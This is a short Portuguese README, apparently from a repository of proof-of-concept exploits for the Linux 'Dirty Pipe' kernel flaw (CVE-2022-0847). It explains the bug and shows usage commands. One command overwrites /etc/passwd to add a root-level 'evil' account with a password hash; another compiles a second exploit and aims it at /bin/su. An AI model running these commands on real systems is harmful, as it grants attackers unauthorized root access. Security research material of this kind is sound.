
Exploits de prova de conceito para a vulnerabilidade CVE-2022-0847 (Dirty Pipe) do kernel Linux, demonstrando escalada de privilégio local via sobrescrita de binário SUID e injeção de shellcode.
Hoje, o pesquisador de segurança Max Kellermann divulgou de forma responsável a vulnerabilidade 'Dirty Pipe' e afirmou que ela afeta o Linux Kernel 5.8 e versões posteriores, até mesmo em dispositivos Android.
A vulnerabilidade é rastreada como CVE-2022-0847 e permite que um usuário sem privilégios injete e sobrescreva dados em arquivos somente leitura, incluindo processos SUID que são executados como root.
Kellerman descobriu o bug após rastrear um bug que estava corrompendo logs de acesso do servidor web de um de seus clientes.
Então Bl4sty escreveu outra versão. Em vez de sobrescrever um arquivo como /etc/passwd, ela sobrescreve um binário SUID especificado pelo usuário (como /bin/su), injetando shellcode que é então executado com permissões de usuário privilegiado (ou seja, root).
┌──(ghost㉿uchiha)-[~]
└─$gcc PoC1.c -o exploit1
┌──(ghost㉿uchiha)-[~]
└─$./exploit1 /etc/passwd 189 'evil:$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/:0:0::/root:/bin/bash
'
┌──(ghost㉿uchiha)-[~]
└─$gcc PoC2.c -o exploit2
┌──(ghost㉿uchiha)-[~]
└─$./exploit2 /bin/su
Para uso detalhado, consulte: https://medium.com/@ajithcrajendran/cve-2022-0847-dirty-pipe-a5d68f422dcf